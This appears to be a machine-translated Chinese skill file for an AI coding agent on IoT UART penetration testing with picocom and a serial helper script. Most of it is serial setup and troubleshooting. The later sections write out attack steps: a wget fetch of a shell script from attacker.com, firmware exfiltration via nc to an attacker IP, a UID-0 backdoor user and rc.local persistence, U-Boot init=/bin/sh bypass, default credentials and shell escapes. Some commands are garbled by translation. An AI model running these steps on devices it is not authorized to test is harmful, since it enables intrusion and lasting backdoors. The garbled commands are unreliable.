# 物联网 UART 控制台 (picocom) 该技能支持使用 picocom 与 IoT 设备 UART 控制台进行交互，以进行安全测试和渗透测试操作。它支持引导加载程序交互、shell 访问（带或不带身份验证）、设备枚举和漏洞发现。 ## 先决条件 * 系统上必须安装 picocom * 带有 pyserial 库的 Python 3（Arch 上的 `sudo pacman -S python-pyserial`，或 `pip install pyserial`） * 与目标设备的 UART 连接（USB 转串口适配器、FTDI 电缆等） * 访问串行设备的适当权限（通常为 /dev/ttyUSB* 或 /dev/ttyACM*） ## 推荐方法：串行助手脚本 **重要**：此技能包括一个 Python 帮助程序脚本 (`serial_helper.py`)，它为串行通信提供干净、可靠的接口。 **这是与 IoT 设备交互的推荐方法**。 ### 默认会话日志记录 **默认情况下，Claude 运行的所有命令都会记录到`/tmp/serial_session.log`。** 实时观察 Claude 在做什么： # 在单独的终端中，运行：尾-f /tmp/serial_session.log 这使您可以在不干扰连接的情况下观察所有串行 I/O 的发生。 ### 为什么使用串行助手？帮助程序脚本解决了直接使用 picocom 的许多问题： * **干净的输出** ：自动删除命令回显、提示和 ANSI 代码 * **提示检测** : 自动检测并等待设备提示 * **超时处理**：正确的超时管理，没有任意睡眠 * **简单的脚本**：简单的命令行界面，用于单个命令或批量操作 * **会话日志记录** ：所有 I/O 记录到 `/tmp/serial_session.log` 以供观察 * **可靠**：TTY 要求或后台进程没有问题 ### 使用串行助手快速入门 **单个命令：** python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --命令“帮助” **使用自定义提示（推荐用于已知设备）：** python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig" **交互模式：** python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive **来自文件的批处理命令：** # 创建一个包含命令的文件（每行一个） echo -e "help\ndate\nifconfig\nps" > 命令.txt python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script 命令.txt **JSON 输出（用于解析）：** python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --命令“help”--json **调试模式：** python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --命令“help”--debug **会话日志（用于观察）：** # 终端 1 - 运行并记录日志 python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --prompt "用户@[^>]+>" \ --logfile /tmp/session.log \ --互动 # 终端 2 - 实时观看会议尾-f /tmp/session.log **注意：** 有关监视串行会话的综合指南，请参阅“OBSERVING_SESSIONS.md”。 ### 监听模式（被动监听） **新功能**：监控模式专为被动 UART 监控而设计，其中设备输出日志而无需提示或交互。 **使用案例：** * 监控没有交互式控制台的设备的启动日志 * 执行外部动作时捕获触发输出 * 测试网络请求或硬件事件是否生成 UART 日志 * 基线与触发输出比较 **基本被动监控：** python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --监视器\ --持续时间 30 \ --logfile /tmp/uart.log **使用外部触发脚本进行监控：** # 5秒后运行外部脚本并捕获触发的UART输出 python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --监视器\ --持续时间 60 \ --trigger-script "python3 /path/to/test_script.py" \ --触发延迟 5 \ --logfile /tmp/triggered_uart.log **带基线捕获的监视器：** # 捕获 10 秒基线，在 15 秒运行触发器，持续总共 60 秒 python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --监视器\ --持续时间 60 \ --trigger-script“curl http://192.168.1.100/api/reboot”\ --触发延迟 15 \ --基线持续时间 10 \ --logfile /tmp/reboot_monitor.log **监控模式选项：** * `--duration SECONDS` \- 总监控时间（默认：30） * `--trigger-script CMD` \- 在监控期间运行的外部命令/脚本 * `--trigger-delay SECONDS` \- 何时运行触发器（默认值：5） * `--baseline-duration SECONDS` \- 触发前捕获基线（默认值：0） * `--logfile FILE` \- 将所有 I/O 记录到文件 * `--json` \- 以 JSON 格式输出结果 **输出包括：** * 实时带时间戳的控制台输出 * 基线、触发和触发后分类 * 触发脚本退出代码和输出 * 汇总统计数据（每个阶段捕获的字节数） * 包含所有捕获数据的时间线 ### 串行助手选项必填（其中一项）： --command, -c CMD 执行单个命令 --interactive, -i 进入交互模式 --script, -s FILE 从文件执行命令 --monitor, -m 被动监控模式（仅监听，无命令）连接选项： --device, -d DEV 串行设备（默认：/dev/ttyUSB0） --baud, -b RATE 波特率（默认值：115200） --timeout, -t SECONDS 命令超时（默认值：3.0） --prompt, -p PATTERN 自定义提示正则表达式模式监控模式选项： --duration SECONDS 监控持续时间（默认值：30.0） --trigger-script CMD 在监控期间运行的外部脚本/命令 --trigger-delay SECONDS 运行触发器之前的秒数（默认值：5.0） --baseline-duration SEC 基线捕获持续时间（默认值：0.0）输出选项： --raw, -r 不清理输出（显示回声、提示） --json, -j 以 JSON 格式输出 --logfile, -l FILE 将所有 I/O 记录到文件（可以在另一个终端中使用 tail -f） --debug 显示调试信息 ### 常见提示模式帮助程序脚本包含常见的提示模式，但您可以指定自定义提示模式： #优视相机 --提示“用户@[^>]+>” # 标准 root/用户提示 --提示“[#\$]\s*$” # U-Boot 引导加载程序 --提示“=>\s*$” # 自定义设备 --提示“我的设备>” ### 使用串行助手的设备枚举示例这是安全枚举设备的完整示例： # 设置变量以方便使用 HELPER="python3 .claude/skills/picocom/serial_helper.py" 设备=“/dev/ttyUSB0” PROMPT="User@[^>]+>" # 根据您的设备进行调整 LOGFILE =“/tmp/serial_session.log” # 获取可用命令 $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help" # 系统信息 $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date" $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime" # 网络配置 $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig" $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route" # 进程列表（可能需要更长的超时时间） $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps" # 文件系统探索 $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls" $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc" # 设备标识符 $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid" $HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate" **对于 CLAUDE 代码很重要**：使用此技能时，始终在每个命令中包含 `--logfile /tmp/serial_session.log`，以便用户可以使用 `tail -f /tmp/serial_session.log` 监视活动。 ### 渗透测试用例：基于触发器的 UART 分析常见的 IoT 渗透测试场景：测试网络请求、API 调用或硬件事件是否触发 UART 上的调试输出。 **示例：测试 API 请求是否生成 UART 日志** # 发送网络请求时监听UART python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --监视器\ --持续时间 30 \ --trigger-script“curl -X POST http://192.168.1.100/api/update”\ --触发延迟 5 \ --logfile /tmp/api_test.log # 查看调用 API 时设备记录的内容猫/tmp/api_test.log **示例：测试身份验证尝试** # 在登录尝试期间监视 UART python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --监视器\ --持续时间 45 \ --trigger-script "python3 brute_force_login.py" \ --触发延迟 10 \ --基线持续时间 5 \ --logfile /tmp/auth_test.log \ --json > /tmp/auth_results.json **示例：启动顺序分析** # 捕获设备启动日志（通过网络API重启） python3 .claude/skills/picocom/serial_helper.py \ --设备/dev/ttyUSB0 \ --监视器\ --持续时间 120 \ --trigger-script“curl http://192.168.1.100/api/reboot”\ --触发延迟 5 \ --logfile /tmp/boot_sequence.log **为什么这对渗透测试有用：** * 设备经常泄露 UART 日志中的敏感信息（密码、密钥、路径） * 调试输出可能会揭示内部 API 端点或协议 * 错误消息可能会暴露漏洞 * 启动日志显示安全启动状态、加载的模块和文件系统路径 * 身份验证尝试可能会以明文形式记录用户名/令牌 **对于 CLAUDE 代码很重要**：使用此技能时，始终在每个命令中包含 `--logfile /tmp/serial_session.log`，以便用户可以使用 `tail -f /tmp/serial_session.log` 监视活动。 ## 替代方案：直接使用 picocom（高级）如果您需要直接访问 picocom（例如，启动期间的引导加载程序交互），您可以直接使用 picocom。然而，这更加复杂并且容易出错。 ## 说明 ### 1\.连接设置 **关键**：picocom 交互式运行，无法通过标准 stdin/stdout 管道进行控制。使用以下方法： 1. **始终使用 `run_in_background: true` 在后台 shell 中运行 picocom** 2. **监控输出** 使用 BashOutput 工具读取响应 3. **发送命令** 使用`Ctrl-A Ctrl-S`进入发送模式，或者直接写入设备文件 **默认连接命令：** picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0 **默认值（除非另有说明）：** * **波特率**：115200（最常见于物联网设备） * **设备**：/dev/ttyUSB0（最常见的 USB 转串口适配器） * **始终使用`--nolock`**：防止文件锁定问题，除非用户另有特别要求 **替代波特率**（如果 115200 不起作用）： * 57600 * 38400 * 19200 * 9600 * 230400（不太常见，高速） **替代设备路径：** * /dev/ttyUSB0、/dev/ttyUSB1、/dev/ttyUSB2、...（USB 转串口适配器） * /dev/ttyACM0, /dev/ttyACM1, ...（USB CDC 设备） * /dev/ttyS0, /dev/ttyS1, ...（内置串口） **基本 picocom 选项：** * `-b` 或 `--baud`: 设置波特率（默认使用 115200） * `--nolock`：禁用文件锁定（除非用户要求不要使用，否则始终使用） * `--omap crlf`：将输出 CR 映射到 CRLF （有助于格式化） * `--echo`: 启用本地回显（查看您输入的内容） * `--logfile `：将所有会话输出记录到文件中（推荐） * `-q` 或 `--quiet`: 禁止 picocom 状态消息 * `--imap lfcrlf`：在输入上将 LF 映射到 CRLF（有时需要） ### 2\.检测控制台状态连接后，您需要识别设备处于什么状态： **a) 空白/静音控制台：** * 按 Enter 几次以检查提示 * 尝试使用 Ctrl-C 中断任何正在运行的进程 * 如果仍然没有任何反应，设备可能处于引导加载程序等待状态 - 尝试空格键或其他引导加载程序中断键 **b) 引导加载程序（U-Boot 等）：** * 查找类似“U-Boot>”、“=>”、“uboot>”、“Boot>”的提示 * 引导加载程序通常有一个可以中断的倒计时 * 常用中断键：Space、Enter、启动消息中提到的特定键 **c) 登录提示：** * 查找“登录：”或“用户名：”提示 * IoT 设备的常见默认凭据： *根/根 * 管理员/管理员 * root /（无密码） * 管理员/密码 * 检查制造商文档或在线数据库 **d) 外壳访问：** * 你可以直接进入 root shell * 查找“#”、“$”、“>”等提示或自定义提示 ### 2.1。 BusyBox Shell（大多数物联网设备） **重要**：绝大多数 IoT 设备都使用 BusyBox，这是一套专为嵌入式系统设计的轻量级 Unix 实用程序套件。 BusyBox 提供了具有有限命令功能的最小 shell 环境。 **识别BusyBox：** # 检查你正在使用什么 shell 忙碌盒 busybox——帮助 # 或者检查符号链接 ls -la /bin/sh # 经常显示：/bin/sh -> /bin/busybox # 列出可用的 BusyBox 小程序 busybox——列表 **BusyBox 限制：** * 许多标准Linux命令可能是简化版本 * 一些常见的标志/选项可能不可用 * 制表符补全等功能可能会受到限制或不存在 * 一些在完整 Linux 上有效的利用技术可能不起作用 **可用的常用 BusyBox 命令：** # 核心实用程序（通常可用） cat、ls、cd、pwd、echo、cp、mv、rm、mkdir、chmod、chown ps、kill、top、free、df、mount、umount grep、find、sed、awk（有限版本） ifconfig、路由、ping、netstat、telnet vi（基本文本编辑器 - 无语法突出显示） # 检查可用的内容 busybox --列表 |排序 ls /bin /sbin /usr/bin /usr/sbin **针对渗透测试的 BusyBox 特定注意事项：** * `ps` 输出格式可能与标准 Linux 不同 * 一些权限提升技术需要BusyBox中没有的命令 * 文件权限仍然相同（SUID、粘滞位等） * 通常存在网络工具（telnet、wget、nc/netcat、ftpget） * Python/Perl/Ruby 通常不可用（设备存储限制） **用于枚举的有用 BusyBox 命令：** # 检查BusyBox版本（可能有已知漏洞）忙碌盒 |头-1 # 经常可用的网络实用程序 nc -l -p 4444 # Netcat 监听器 wget http://attacker.com/shell.sh ftpget 服务器文件远程登录192.168.1.1 # 通常包含 httpd（网络服务器） busybox httpd -p 8080 -h /tmp # 快速文件共享 **参考文档：** * [BusyBox官方网站]() * [BusyBox 命令列表]() * [BusyBox源代码]() ### 3\.与控制台交互 **向 picocom 发送命令：** 由于 picocom 是交互式的，因此您有多种选择： **选项A：直接写入设备文件** 回显“命令”> /dev/ttyUSB0 **选项B：使用expect或类似工具** 期望-c“ 生成 picocom -b 115200 --nolock /dev/ttyUSB0 发送“命令” 期待“#” 退出 ” **选项 C：使用 screen 而不是 picocom（可能更容易编写脚本）** 屏幕 /dev/ttyUSB0 115200 **Picocom 键盘快捷键：** * `Ctrl-A Ctrl-X`: 退出 picocom * `Ctrl-A Ctrl-Q`: 退出而不重置 * `Ctrl-A Ctrl-U`: 增加波特率 * `Ctrl-A Ctrl-D`: 降低波特率 * `Ctrl-A Ctrl-T`: 切换本地回显 * `Ctrl-A Ctrl-S`：发送文件（可用于发送命令） ### 4\.设备枚举一旦您拥有 shell 访问权限，请收集以下信息： **系统信息：** # 内核和系统信息 uname -a 猫/过程/版本猫 /proc/cpuinfo 猫 /proc/meminfo # 发行版/固件信息猫 /etc/问题猫 /etc/*释放* 猫 /etc/*版本* # 主机名和网络主机名猫 /etc/主机名 ifconfig-a IP地址显示猫 /etc/网络/接口猫 /etc/resolv.conf # 挂载的文件系统安装猫 /proc/挂载 df-h # 运行进程辅助键聚苯乙烯-EF 顶部-b-n 1 **用户和权限信息：** # 当前用户上下文编号瓦阿米团体 # 用户帐户猫 /etc/passwd cat /etc/shadow # 如果可读 - 主要安全问题！猫/etc/组 # 须藤/权限信息须藤-l 猫 /etc/sudoers **网络服务：** # 监听服务 netstat-tulpn SS-tulpn lsof-i # 防火墙规则 iptables -L -n -v 猫 /etc/iptables/* **有趣的文件和目录：** # 配置文件 ls -la /etc/ 查找 /etc/ -type f -可读 # 网络服务器配置 ls -la /etc/nginx/ ls -la /etc/apache2/ ls -la /var/www/ # 凭证和密钥查找/-name“*.pem”2>/dev/null 查找/-name“*.key”2>/dev/null 查找/-名称“*密码*”2>/dev/null 查找/-名称“*凭证*”2>/dev/null grep -r “密码” /etc/2>/dev/null # SUID/SGID 二进制文件（权限提升向量）查找/-perm -4000 -type f 2>/dev/null 查找/-perm -2000 -type f 2>/dev/null # 世界可写文件/目录查找/-perm -2 -type f 2>/dev/null 查找/-perm -2 -type d 2>/dev/null # 开发/调试工具 gdb gcc python perl ruby tcpdump ls /usr/bin/ /bin/ /sbin/ /usr/sbin/ ### 5\.引导加载程序利用如果您有权访问引导加载程序（U-Boot 等）： **常用U-Boot命令：** # 打印环境变量打印环境 # 修改启动参数（例如，root shell 为 init=/bin/sh） setenv bootargs "${bootargs} init=/bin/sh" 保存环境启动 # 替代方案：单用户模式 setenv bootargs "${bootargs} single" setenv bootargs "${bootargs} init=/bin/bash" # 从网络 (TFTP) 启动自定义固件设置环境服务器IP 192.168.1.100 setenv ipaddr 192.168.1.200 tftpboot 0x80000000 自定义_image.bin 启动0x80000000 # 内存检查 md <地址> # 内存显示 mm <地址> # 内存修改 mw <地址> <值> # 内存写入 # 闪存操作擦除<开始><结束> cp.b <源> <目标> <计数> # 其他有用的命令帮助 bdinfo # 主板信息版本重置 ### 6\.权限提升（如果不是 root） **检查常见漏洞：** # 内核漏洞利用 uname -r # 检查内核版本是否存在已知漏洞 # 检查可利用的服务辅助 | grep 根 # 可写服务文件找到/etc/init.d/-writable 2>/dev/null 找到/lib/systemd/system/-writable 2>/dev/null # 计划任务 crontab -l ls -la /etc/cron* 猫 /etc/crontab ### 7\.持久性和进一步访问 **建立额外的访问方法：** # 添加 SSH 访问 mkdir -p /root/.ssh echo "your_ssh_public_key" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys chmod 700 /root/.ssh # 启动 SSH 服务（如果没有运行） /etc/init.d/ssh启动 # 或 /etc/init.d/sshd 启动 # 或 /etc/init.d/dropbear start # 嵌入式设备上常见 # 添加后门用户 echo "后门:x:0:0::/root:/bin/sh" >> /etc/passwd 密码后门 # 添加到启动脚本 echo "/path/to/backdoor &" >> /etc/rc.local ### 8\.固件提取 **提取固件进行离线分析：** # 查找MTD分区（嵌入式设备上常见）猫 /proc/mtd 猫/进程/分区 # 转储闪存分区 dd if=/dev/mtd0 of=/tmp/bootloader.bin dd if=/dev/mtd1 of=/tmp/kernel.bin dd if=/dev/mtd2 of=/tmp/rootfs.bin # 复制到外部存储或网络 # 如果网络可用： nc Attacker_ip 4444 < /tmp/rootfs.bin # 如果 USB 存储可用：挂载 /dev/sda1 /mnt cp /tmp/*.bin /mnt/ 卸载/mnt ### 9\.清理并退出 **退出 picocom：** * 按“Ctrl-A”，然后按“Ctrl-X” * 或者从另一个终端使用 `killall picocom` **如果需要杀死后台shell：** * 使用带有适当 shell_id 的 KillShell 工具 ## 常见的物联网设备场景 ### 场景 1：无身份验证 Shell # 连接 picocom -b 115200 --nolock /dev/ttyUSB0 # 按Enter键，立即获取root shell # 枚举和利用 ### 场景 2：受密码保护的 Shell # 连接并查看登录提示 # 尝试默认凭据： # - 根/根 # - 管理员/管理员 # - 根/（空） # 在线搜索设备特定的默认值 ### 场景 3：引导加载程序到 Root Shell # 中断启动倒计时（按 Space/Enter） # 获取 U-Boot 提示符 setenv bootargs "${bootargs} init=/bin/sh" 启动 # 无需身份验证即可获取 root shell ### 场景 4：有限的外壳逃逸 # 如果你得到一个有限的 shell： # 尝试常见的转义技术：回显$SHELL /bin/sh /bin/bash vi # 然后:!/bin/sh less /etc/passwd # 然后 !/bin/sh 查找/-exec /bin/sh \; awk 'BEGIN {系统("/bin/sh")}' ## 安全测试清单 * 识别设备和固件版本 * 检查默认凭据 * 枚举网络服务和开放端口 * 检查文件中的硬编码凭据 * 测试命令注入漏洞 * 检查文件权限（SUID、全局可写） * 测试引导加载程序的安全性（密码保护、命令限制） * 检查是否有具有已知 CVE 的过时软件 * 测试权限升级向量 * 提取固件以进行离线分析 * 用屏幕截图/日志记录所有发现 ## 最佳实践 1. **始终记录您的会话**：使用 `--logfile session.log` 2. **记录一切**：记录命令、响应和发现结果 3. **要有耐心**：有些设备速度很慢，可能需要一些时间才能响应 4. **检查波特率**：错误的波特率=垃圾输出。如果您看到乱码，请尝试普通费率 5. **研究设备**：查找已知漏洞、默认凭据和常见问题 6. **使用适当的授权**：仅在您拥有或具有明确测试权限的设备上执行渗透测试 7. **备份**：如果可能，在修改之前备份固件 8. **小心引导加载程序**：不正确的引导加载程序命令可能会导致设备变砖 ## 故障排除 **问题：乱码文本或奇怪的字符** * 解决方法：波特率错误。尝试 115200、57600、38400、19200、9600 **问题：根本没有输出** * 解决方案：检查物理连接，尝试按Enter键，检查设备是否已开机 **问题：“设备繁忙”或“权限被拒绝”** * 解决方案：关闭其他使用串口的程序，检查用户权限（`sudo usermod -a -G dialout $USER`） **问题：命令不回显** * 解决方案：使用 `--echo` 标志启用本地回显或在 picocom 中按 `Ctrl-A Ctrl-T` **问题：错误的行结尾（多余的行或没有换行符）** * 解决方案：使用 `--omap crlf` 或 `--imap lfcrlf` 选项 ## 用法示例 # 基本连接（使用默认值） picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0 # 与日志记录的连接 picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0 # 安静模式（抑制 picocom 消息） picocom -b 115200 --nolock -q --echo /dev/ttyUSB0 # 在后台运行以进行脚本交互 picocom -b 115200 --nolock /dev/ttyUSB0 & # 然后使用BashOutput进行监控 ## 参考文献 * [picocom 文档]() * [U-Boot 文档]() * 物联网渗透测试资源和漏洞数据库 * 特定于设备的文档和数据表

物联网 UART 控制台 (picocom)

包含技能